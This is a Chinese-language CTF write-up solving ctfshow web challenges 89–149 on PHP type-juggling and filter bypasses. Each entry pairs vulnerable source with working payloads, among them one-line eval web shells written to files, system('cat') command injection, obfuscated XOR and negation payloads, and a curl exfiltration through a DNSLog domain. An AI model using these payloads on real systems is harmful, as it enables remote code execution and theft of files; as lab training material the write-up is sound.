ctf-web入门-php特性
web89
intval() 函数用于获取变量的整数值,可preg_match过滤了数字,这里可以用数组绕过,因为preg_match无法处理数组
<?php
include("flag.php");
highlight_file(__FILE__);if(isset($_GET['num'])){$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;}
}
payload:
?num[]=1
得到flag
ctfshow{bbd89e2b-5c80-44c4-97ce-54155b5b6e74}
web90
传参num强类型比较不等于4476,但经过intval后等于4476
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(intval($num,0)===4476){echo $flag;}else{echo intval($num,0);}
}
intval函数base为0时,会根据数据类型判断进制,因此可以用十六进制绕过0x117c
经过测试4476a,经过intval后值也为4476
<?php
$num='4476a';
echo intval($num);//结果4476
payload:
?num=4476a
?num=0x117c
得到flag
ctfshow{caad1937-497e-4d84-b84b-a495b141cd4a}
web91
正则匹配/m表示多行匹配,/i表示不区分大小写,因此可以通过换行让/m匹配第二行的php
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){if(preg_match('/^php$/i', $a)){echo 'hacker';}else{echo $flag;}
}
else{echo 'nonononono';
}
payload:
?cmd=%0aphp
得到flag
ctfshow{7f2128e4-0848-47d0-b066-12e4a5cc60da}
web92
强类型变成了弱类型比较,4476a就不能用了,但仍可以用十六进制绕过
?num=0x117c
得到flag
ctfshow{937e42c0-24ba-47ca-a19d-7093c9cb0827}
web93
弱类型过滤了字母,16进制无法用了可以用8进制绕过
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}
}
payload:
?num=010574
得到flag
ctfshow{6a569552-6394-4b09-a65f-ac3d0c0caaf2}
web94
strpos函数会检测0首次出现的位置,所以如果第一位是0,!0即1会执行die,所以无法使用常规的八进制绕过,可以用换行(%0a)、空格(%20)进行绕过,也可以小数点绕,因为intval()函数只读取整数部分(但必须在非首位有0以绕过strpos函数)
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){die("no no no!");}if(intval($num,0)===4476){echo $flag;}
}
payload:
?num=%0a010574
?num=%20010574
?num=4476.20
得到flag
ctfshow{e93dd37e-c5fa-4974-b9e5-62d72395916a}
web95
把.过滤了可以直接用上题的另外两个payload
payload:
?num=%0a010574
?num=%20010574
?num=4476.20
得到flag
ctfshow{bef94fee-2077-4546-8cbd-3b85f002bf28}
web96
需要读取flag.php但过滤掉了可以加上./代表当前目录
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);}
}
payload:
?u=./flag.php
得到flag
ctfshow{c4b5b154-3f43-4258-a26c-58fb0d916269}
web97
md5强类型比较
payload:POST传参
a[]=1&b[]=2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 //过滤数组时可以用md5碰撞绕过
得到flag
ctfshow{b36ae29e-524a-4f02-b4ec-4d58c3f83f32}
web98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
涉及到了一个三目运算
$_GET?$_GET=&$_POST:‘flag’; //如果使用GET传参,则使用POST传参来代替
$_GET[‘flag’]==‘flag’?$_GET=&$_COOKIE:‘flag’; //如果GET传参flag的值=flag则将cookie的值代替flag中的值
$_GET[‘flag’]==‘flag’?$_GET=&$_SERVER:‘flag’; //与上同理
$_GET[‘HTTP_FLAG’]==‘flag’?$flag:__FILE__ //如果GET传参HTTP_FLAG的值为flag则输出$flag
payload:
GET:a=1 //为了触发POST传参GET传任意值都可
POST:HTTP_FLAG=flag //GET=POST,因此POST传参,即实现$_GET['HTTP_FLAG']=='flag'
得到 flag
ctfshow{24b7e4be-ca0e-4f83-9f59-5dbc1d72e950}
web99
array_push()向第一个参数的数组尾部添加一个或多个元素
in_array()函数搜索数组中是否存在指定的值。
array_push($allow, rand(1,$i)); //向$allow中插入一个随机值
in_array($_GET[‘n’], $allow)//检测n中是否有$allow的值,这里并没有第三个参数type,因此存在漏洞,就可以形成自动转换,即n=1.php会自动转换为1
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}
?>
file_put_contents()函数的作用是把一个字符串写入文件中,因此可以通过POST传参一句话木马到1.php中
GET:?n=1.php
POST:content=<?php @eval($_POST[a]);?>
传参后访问1.php,并执行命令ls
最后cat flag36d.php即可
查看页面源代码
ctfshow{fa972e69-75c0-4f3b-bfa4-cc546ddea5c4}
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}
}
?>
and和or的优先级低于"="所以v0的值取决于v1,只需要将v1的设为纯数字即可。
v2一定是用来执行命令的,提示中写到flag在ctfshow类中,最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);。
v3正则必须有;,可以v3=;作为v2语句的结束符
payload:
?v1=1&v2=echo new ReflectionClass&v3=;
非预期:
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=?><?php echo `cat ctfshow.php`?>/*&v3=*/;
?v1=1&v2=system('cat ctfshow.php')&v3=-2;
?v1=1&v2=echo&v3=;system('cat ctfshow.php');
得到flag
web102
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}
?>
v4若想为1,只需v2是纯数字
在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(一句话木马的十六进制)也是可以识别为数字的;经过substr截取v2开头的0x,v1传hex2bin经过call_user_func将十六进制转为一句话木马,最后file_put_contents将一句话写入1.php即可
因此payload为
get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
但本题为php7版本因此v2的十六进制不再适用,要让v2均为数字,首先我们考虑v3写入1.php时,利用伪协议写入,然后利用base64编码后再转为十六进制为全数字的命令<?=`cat *`;getshell
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
因为要经过substr处理,所以v2前面还要补00
payload:
get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
web108
利用ereg函数的漏洞:00截断。%00截断及遇到%00则默认为字符串的结束
所以构造如下:
?c=a%00778
得到flag
ctfshow{d029deda-963b-46af-abc6-5a504ac6ee23}
web109
<?phphighlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}
}
?>
php原生类
这里通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)
?v1=Exception&v2=system('cat fl*')
?v1=Reflectionclass&v2=system('cat fl*')
?v1=ReflectionMethod&v2=system('cat fl*')
直接访问fl36dg.txt
得到flag
ctfshow{879dafba-1e66-4f9c-b8f3-65a96f19768c}
web110
又是姿势盲区,考察的是FilesystemIterator类的使用
获取当前的目录则可以用getcwd函数,所以payload如下:
?v1=FilesystemIterator&v2=getcwd
缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件
然后访问 fl36dga.txt
最终得到flag
ctfshow{df8709be-6aae-4b92-bb18-0d9cf9a3a2aa}
web111
利用PHP的超全局变量$GLOBALS
?v1=ctfshow&v2=GLOBALS
得到flag
ctfshow{45b684eb-bf4d-4494-9ff9-8da67eb43c04}
web113
这次吧filter也过滤了,可以用上题的压缩流payload,或者用/proc/self/root,在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容,这里得重复最少21次来绕过
payload:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
?file=compress.zlib://flag.php
得到flag
ctfshow{3bbb26be-2f90-4f32-880f-cd726f88866c}
web114
禁用root和compress,上题payload无法使用,但没过滤php,和filter
payload:
?file=php://filter/resource=flag.php
得到flag
ctfshow{9cfc3200-2ade-4967-9d13-6a89e421e0bb}
web115
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){if($num=='36'){echo $flag;}else{echo "hacker!!";}
}else{echo "hacker!!!";
}?>
trim()函数会移除字符串两侧的空白字符或其他预定义字符。若未预定义字符会移除
" " (ASCII 32 (0x20)),普通空格符。
"\t" (ASCII 9 (0x09)),制表符。
"\n" (ASCII 10 (0x0A)),换行符。
"\r" (ASCII 13 (0x0D)),回车符。
"\0" (ASCII 0 (0x00)),空字节符。
"\x0B" (ASCII 11 (0x0B)),垂直制表符。
通过羽师傅脚本跑出%0c(换页符可用),可绕过弱类型比较和trim()
<?php
for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1';if(trim($x)!=='1' && is_numeric($x)){echo urlencode(chr($i))."\n";}
}
//%0C (换页符)
payload:
?num=%0c36
得到flag
ctfshow{2046f4b7-052b-47f3-bba7-010bee953605}
web123
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){eval("$c".";"); if($fl0g==="flag_give_me"){echo $flag;}}
}
?>
要求必须传参CTF_SHOW.COM,但PHP变量名应该只有数字字母下划线,若出现类似.字符会被转化为下划线,但有一个特殊字符[,它本身会变成下划线,而[后边的内容不会被转化即CTF[SHOW.COM =>CTF_SHOW.COM,另外要求不能传参fl0g,但fl0g等于flag_give_me才能输出flag,因此本题突破口是通过eval直接输出flag
payload:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())
得到flag
ctfshow{0925fd55-905a-4782-b8b0-30f2dbdfbbb6}
web125
<?phperror_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){eval("$c".";");if($fl0g==="flag_give_me"){echo $flag;}}
}
?>
extract ()
extract — 从数组中将变量导入到当前的符号表
用post传入的数据都覆盖原来的数据。
payload:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
得到flag
ctfshow{765a2d94-5164-49c1-a321-13a5c51e2603}
web126
<?phperror_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){eval("$c".";"); if($fl0g==="flag_give_me"){echo $flag;}}
}
parse_str ()
parse_str — 将字符串解析成多个变量
payload:
a=1+fl0g=flag_give_me #GET
CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1]) #POST
web127
<?phperror_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];//特殊字符检测
function waf($url){if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){return true;}else{return false;}
}if(waf($url)){die("嗯哼?");
}else{extract($_GET);
}if($ctf_show==='ilove36d'){echo $flag;
}
php的变量名中的点或空格会被转化为下划线,由于点被过滤
payload:
?ctf show=ilove36d
得到flag
ctfshow{87c8ac47-cabc-4999-bcd7-ca0877733f67}
web128
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2)));
}else{echo "嗯哼?";
}
function check($str){return !preg_match('/[0-9]|[a-z]/i', $str);
}
gettext扩展
gettext(“phpinfo”)等同于phpinfo()
在开启该拓展后 _() 等效于 gettext()
所以call_user_func(‘_’,‘phpinfo’) 返回的就是phpinfo
gettext:可以实现多国语言显示,假如你的国际化的程序里有这样的代码,echo “你好”;,而国际化的程序你要写成 echo gettext(“你好”);,然后再在配置文件里添加“你好”相对应的英文“Hi”。这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。
get_defined_vars
get_defined_vars(void):array,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:
?f1=_&f2=get_defined_vars
即:
var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));
?f1=_&f2=get_defined_vars
得到flag
ctfshow{496d9cd7-8050-4cbf-b649-edc6dfe07159}
web129
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){$f = $_GET['f'];if(stripos($f, 'ctfshow')>0){echo readfile($f);}
}?>
利用phpfilter伪协议,其中伪协议无效的话就会被过滤或进行目录穿越
payload:
?f=php://filter/convert.base64.encode | ctfshow/resource=flag.php
?f=/ctfshow/../../var/www/html/flag.php
查看页面源代码
得到flag
ctfshow{9d7523e9-471d-4c6a-8965-ea6c5811a53d}
web130
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){$f = $_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f, 'ctfshow') === FALSE){die('bye!!');}echo $flag;
}
正则只要ctfshow前边无任何字符就可以
payload:
POST:f=ctfshow
得到flag
ctfshow{b9b5a2ca-0b97-4c44-b232-e32a592bdfb8}
web132
访问robots.txt,提示/admin,访问后得到源码
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;} }
}
&&的优先级高于||的优先级,所以只要username=admin为真值,code=admin输出flag
?code=admin&username=admin&password=1
得到flag
web133
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}
}
这个题是自己出的主要是考察,命令执行的骚操作和curl -F的使用
传参F过滤了命令执行函数,并且eval只会执行F的前六位字符的命令,如果我们传递的参数就是$F本身,就能实现变量覆盖
get传参 F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ``$F `;sleep 3` == shell_exec("`$F `;sleep 3");
这样就在服务器上成功执行了 sleep 3
所以我们的目标就明确了,利用curl去带出来flag.php
DNSLog Platform首先在DNSLog Platform这个网站先创建一个域名
然后payload
?F=`$F`;空格curl`cat flag.php|grep "flag"`.当时创建的域名
然后再刷新,得到flag
web134
<?php/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-14 23:01:06*/highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {die(file_get_contents('flag.php'));
}
POST数组的覆盖
$_SERVER[‘QUERY_STRING’]解释
PHP extract() 函数
可构造playload:
?_POST[key1]=36d&_POST[key2]=36d
查看页面源代码
得到flag ctfshow{911c0580-c528-4981-8e8a-7affa8be911f}
web135
<?php/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 18:48:03*/error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然破解了前面的,那就来一个加强版吧");}
}
Linux中的cp命令
先将flag写入1.txt
/?F=`$F`; cp flag.php 1.txt
再访问1.txt
/1.txt
得到flag
ctfshow{37951cb0-36d5-4cf3-826f-a3ac27ad9423}
web136
<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>
Linux tee命令
常见用例: tee file //覆盖
tee -a file //追加
tee - //输出到标准输出两次 tee - - //输出到标准输出三次
tee file1 file2 - //输出到标准输出两次,并写到那两个文件中
ls | tee file
另:把标准错误也被tee读取 ls “*” 2>&1 | tee ls.txt
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出
可构造playload:
?c=ls \|tee 1
//将根目录下的内容写入1
访问1,下载文件发现f149_15_h3r3
?c=nl /f149_15_h3r3|tee 1
访问1,下载文件得flag
得到flag
ctfshow{52085618-6ccf-43ee-b5da-dc83fa367e39}
web137
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:27:49*/error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}call_user_func($_POST['ctfshow']);
调用类中函数
可构造playload:
POST传参:
ctfshow=ctfshow::getFlag
得到flag
查看页面源代码
ctfshow{e5799d52-c58b-4148-8ed0-de5595f75220}
web138
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:52:13*/error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}if(strripos($_POST['ctfshow'], ":")>-1){die("private function");
}call_user_func($_POST['ctfshow']);
和Web137类似都是运用了
call_user_func()函数
可构造playload:
POST传参:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
查看页面源代码
得到flag
ctfshow{bdd5c2cd-60d3-4973-99ac-6907ad169366}
web139
<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>
直接运用提示脚本,先爆破出文件名后爆破文件内容
web140
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 12:39:25*/error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){$f1 = (String)$_POST['f1'];$f2 = (String)$_POST['f2'];if(preg_match('/^[a-z0-9]+$/', $f1)){if(preg_match('/^[a-z0-9]+$/', $f2)){$code = eval("return $f1($f2());");if(intval($code) == 'ctfshow'){echo file_get_contents("flag.php");}}}
}
弱比较函数调用
可以看到只要我们让intval($code)
为0就可以了
intval会将非数字字符
转换为0,也就是说intval('a')==0 intval('.')==0intval('/')==0
构造playload:
POST传参:
f1=md5&f2=md5
查看页面源代码
得到flag
ctfshow{a4b3091e-eaf2-4af6-a1b3-464b46bb0316}
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
web141
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:28:09*/#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
/^\W+$/
作用是匹配非数字字母下划线的字符
取反脚本:
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
构造playload:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-&v2=1
ctfshow{ae451c80-8d22-416f-a7cc-b710ad5e3e2e}
web142
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:36:02*/error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){$v1 = (String)$_GET['v1'];if(is_numeric($v1)){$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);sleep($d);echo file_get_contents("flag.php");}
}
直接构造playload
直接构造playload?v1=0
ctfshow{313127be-14fc-4b6b-83d3-f25f4d696ea0}
web143
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){die('get out hacker!');}else{$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}?>
过滤了-和;之前的payload无法直接使用了,可以用*代替-,用?>代替;或直接去掉;
?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60")*
ctfshow{83b1c954-b7f2-49e9-b852-908e1c39bdd2}
web144
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 16:21:15*/highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && check($v3)){if(preg_match('/^\W+$/', $v2)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}function check($str){return strlen($str)===1?true:false;
}
和143题类似,只是弱化了一下
构造playload:
?v1=1
&v2=-("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")
&v3=1
ctfshow{c5526b12-7a78-498f-94b4-b51ef0513029}
web145
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33*/highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
考察知识点:三目运算符
构造playload:
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|&v2=1
ctfshow{82b792e3-28e6-47b7-b1e8-fc27e3bce83e}
web146
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33*/highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
和上题相同
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|&v2=1
ctfshow{680d0a94-a413-485a-b069-50d68a4da1ca}
Web147
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 02:04:38*/highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}}
GET:?show=}system("cat f*");/*
POST:ctf=\create_function
ctfshow{b874fb3d-f6f8-4569-9c69-6c304e22960c}
web148
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 03:52:11*/include 'flag.php';
if(isset($_GET['code'])){$code=$_GET['code'];if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){die("error");}@eval($code);
}
else{highlight_file(__FILE__);
}function get_ctfshow_fl0g(){echo file_get_contents("flag.php");
}
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");
ctfshow{5f8f93be-e4c2-4171-827c-f4ef66195186}
web 149
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
